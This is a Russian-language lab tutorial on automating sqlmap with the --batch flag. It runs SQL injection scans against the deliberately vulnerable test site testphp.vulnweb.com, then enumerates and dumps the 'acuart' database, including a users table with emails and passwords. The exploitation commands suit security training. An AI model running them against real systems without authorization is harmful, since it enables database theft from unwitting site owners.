Автоматизация сканирования с помощью пакетного режима в sqlmap

Kali LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы изучите мощную функцию режима --batch в sqlmap, популярном инструменте для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации уязвимостей SQL-инъекций. Хотя sqlmap по умолчанию является высокоинтерактивным и часто запрашивает у пользователя решения во время сканирования, режим --batch позволяет запускать сканирования в автоматическом режиме, автоматически выбирая ответ по умолчанию для всех запросов. Это особенно полезно для автоматизации сканирования в скриптах или для крупномасштабных оценок, где ручное вмешательство непрактично. Вы узнаете разницу между интерактивным и неинтерактивным сканированием, выполните ручное сканирование, а затем используете режим --batch для автоматизации процесса, включая полный дамп данных.

Понимание интерактивного и неинтерактивного сканирования

На этом этапе вы поймете фундаментальное различие между интерактивным и неинтерактивным сканированием с помощью sqlmap. По умолчанию sqlmap разработан как интерактивный, что означает, что он будет часто приостанавливаться во время сканирования, чтобы запросить у пользователя ввод относительно различных решений, таких как продолжение определенного теста, использование определенного полезной нагрузки (payload) или эксплуатация уязвимости. Эта интерактивность обеспечивает точный контроль, но может быть громоздкой для автоматизированных задач. Неинтерактивное сканирование, с другой стороны, позволяет sqlmap принимать решения по умолчанию без вмешательства пользователя, что делает его подходящим для написания скриптов и крупномасштабной автоматизации.

Давайте начнем с проверки версии sqlmap, чтобы убедиться, что она установлена правильно.

sqlmap --version

Вы должны увидеть вывод, похожий на этот, указывающий, что sqlmap готов:

sqlmap version: 1.x.x.x (rXXXX)

Теперь давайте кратко рассмотрим справочное меню, чтобы увидеть флаг --batch.

sqlmap --help | grep batch

Вы увидите вывод, похожий на:

    --batch             Never ask for user input, use the default behavior.

Это подтверждает существование и назначение флага --batch.

Запуск сканирования и ручной ответ на запросы

На этом этапе вы выполните базовое сканирование sqlmap по известному уязвимому URL-адресу без использования флага --batch. Это продемонстрирует интерактивный характер sqlmap и различные запросы, которые он выдает во время сканирования. Вам потребуется вручную отвечать на эти запросы, чтобы продолжить сканирование.

Для этой демонстрации мы будем использовать общедоступный уязвимый URL-адрес. Обратите внимание, что в реальных сценариях вы должны выполнять сканирование только на системах, для тестирования которых у вас есть явное разрешение.

Выполните следующую команду sqlmap. Обратите пристальное внимание на вопросы, которые задает sqlmap, и на то, как вам нужно на них отвечать.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"

По мере выполнения сканирования sqlmap, скорее всего, задаст вам несколько вопросов. Например:

  • do you want to keep testing the others (if any)? [y/N] - Вы можете нажать N (Нет), а затем Enter.
  • sqlmap detected that the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSs? [Y/n] - Вы можете нажать Y (Да), а затем Enter.
  • for the remaining tests, do you want to include all tests for 'MySQL', extend provided level and risk values? [Y/n] - Вы можете нажать Y (Да), а затем Enter.

Точные запросы могут варьироваться в зависимости от версии sqlmap и ответа целевого объекта. Главное — заметить, что sqlmap требует вашего ввода для продолжения.

После завершения сканирования sqlmap сообщит о любых обнаруженных уязвимостях.

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

Это ручное взаимодействие подчеркивает, почему автоматизация имеет решающее значение для эффективности.

Использование флага --batch для автоматических ответов по умолчанию

На этом этапе вы повторно запустите сканирование sqlmap, но на этот раз включите флаг --batch. Этот флаг указывает sqlmap автоматически использовать ответ по умолчанию для любого встреченного запроса, фактически делая сканирование неинтерактивным. Это невероятно полезно для написания скриптов и автоматизации оценки уязвимостей.

Выполните следующую команду, добавив флаг --batch:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

Наблюдайте за выводом. Вы заметите, что sqlmap продолжает сканирование, не останавливаясь для ввода данных пользователем. На все вопросы, которые появлялись на предыдущем шаге, теперь автоматически отвечают их значения по умолчанию (обычно «да» или «нет», в зависимости от контекста).

Вывод будет непрерывным, похожим на этот:

---
[XX:XX:XX] [INFO] testing connection to the target URL
[XX:XX:XX] [INFO] checking if the target is protected by some kind of WAF/IPS
[XX:XX:XX] [INFO] the target URL is stable
[XX:XX:XX] [INFO] testing if 'cat' parameter is dynamic
[XX:XX:XX] [INFO] confirming that 'cat' parameter is dynamic
[XX:XX:XX] [INFO] testing for SQL injection on parameter 'cat'
...
[XX:XX:XX] [INFO] parameter 'cat' is vulnerable.
...
---

Это демонстрирует мощь режима --batch для автономной работы.

Выполнение полного дампа данных в пакетном режиме

На этом этапе вы объедините флаг --batch с другими опциями sqlmap для выполнения более сложной операции: автоматического дампа всех данных из базы данных. Это демонстрирует, как режим --batch позволяет выполнять сложные задачи эксплуатации без ручного вмешательства.

Мы будем использовать опции --dbs (перечисление баз данных), --tables (перечисление таблиц), --columns (перечисление столбцов) и --dump (дамп записей) для извлечения информации. Поскольку мы используем --batch, sqlmap автоматически подтвердит любые запросы, связанные с этими операциями.

Сначала попробуем перечислить базы данных в пакетном режиме:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

Вы должны увидеть, как sqlmap автоматически определяет базы данных без запроса подтверждения. Вывод будет содержать список найденных баз данных, например:

---
[XX:XX:XX] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
---

Теперь попробуем выполнить дамп всех данных из базы данных acuart. Это будет включать перечисление таблиц, затем столбцов и, наконец, дамп данных.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --dump --batch

Эта команда предпишет sqlmap выполнить следующее:

  1. Целиться на базу данных acuart (-D acuart).
  2. Выполнить дамп всех данных (--dump).
  3. Сделать это в пакетном режиме (--batch), что означает, что он автоматически ответит «да» на такие запросы, как «do you want to dump all tables?» или «do you want to store hashes to a file?».

Вывод покажет, как sqlmap перечисляет таблицы, затем столбцы и, наконец, выполняет дамп данных, и все это без каких-либо запросов. Этот процесс может занять некоторое время в зависимости от объема данных.

---
[XX:XX:XX] [INFO] fetching tables for database 'acuart'
[XX:XX:XX] [INFO] fetching columns for table 'users' in database 'acuart'
[XX:XX:XX] [INFO] dumping table 'users' of database 'acuart'
...
+----+----------+----------+----------+
| id | email    | password | uname    |
+----+----------+----------+----------+
| 1  | test@test.com | test     | test     |
| 2  | admin@admin.com | admin    | admin    |
...
+----+----------+----------+----------+
---

Это демонстрирует полную автоматизацию sqlmap в режиме --batch для извлечения данных.

Просмотр результатов автоматического сканирования

На этом заключительном этапе вы просмотрите результаты автоматических сканирований, выполненных в режиме --batch. sqlmap сохраняет свои находки, включая дампы данных, в специальной выходной директории. Понимание того, где хранятся эти результаты, имеет решающее значение для последующего анализа и составления отчетов.

По умолчанию sqlmap создает выходную директорию в ~/.sqlmap/output/ (или /root/.sqlmap/output/, если запущен от имени root, но в этой лаборатории это ~/.sqlmap/output/). Внутри этой директории будут поддиректории с именами целевых хостов.

Сначала перейдите в выходную директорию sqlmap:

cd ~/.sqlmap/output/

Теперь перечислите содержимое этой директории, чтобы найти папку целевого хоста:

ls -F

Вы должны увидеть директорию с именем testphp.vulnweb.com/ или аналогичную.

testphp.vulnweb.com/

Перейдите в директорию цели:

cd testphp.vulnweb.com/

Снова перечислите содержимое. Вы найдете различные файлы и директории, содержащие результаты сканирования, включая файлы журналов, дампы данных и другие потенциальные находки.

ls -F

Вы можете увидеть такие файлы, как log, session.sqlite, и директории, такие как dump/.

dump/  log  session.sqlite  target.txt

Теперь давайте заглянем в директорию dump, чтобы увидеть извлеченные данные:

ls -F dump/

Вы должны увидеть директорию для базы данных acuart, а внутри нее — файлы, соответствующие дампированным таблицам (например, users.csv).

dump/acuart/

Наконец, вы можете просмотреть содержимое дампированного файла, например, файла users.csv:

cat dump/acuart/users.csv

Это отобразит данные, которые sqlmap извлек из таблицы users, подтверждая успешность вашего автоматизированного дампа данных.

id,email,password,uname
1,test@test.com,test,test
2,admin@admin.com,admin,admin
...

На этом завершается лабораторная работа по автоматизации сканирования sqlmap с использованием пакетного режима. Вы успешно выполнили интерактивные и неинтерактивные сканирования и извлекли данные в автоматизированном режиме.

Резюме

В этой лаборатории вы получили практический опыт работы с режимом --batch в sqlmap, который является важной функцией для автоматизации оценки уязвимостей SQL-инъекций. Вы начали с понимания разницы между интерактивным и неинтерактивным сканированием, наблюдая, как sqlmap обычно запрашивает ввод пользователя. Затем вы успешно выполнили сканирование с использованием флага --batch, продемонстрировав, как он оптимизирует процесс, автоматически предоставляя ответы по умолчанию на все запросы. Наконец, вы выполнили автоматический дамп данных и узнали, как находить и просматривать результаты, сохраненные sqlmap в его выходной директории. Эти знания являются основополагающими для интеграции sqlmap в автоматизированные конвейеры тестирования безопасности и для эффективного крупномасштабного анализа уязвимостей.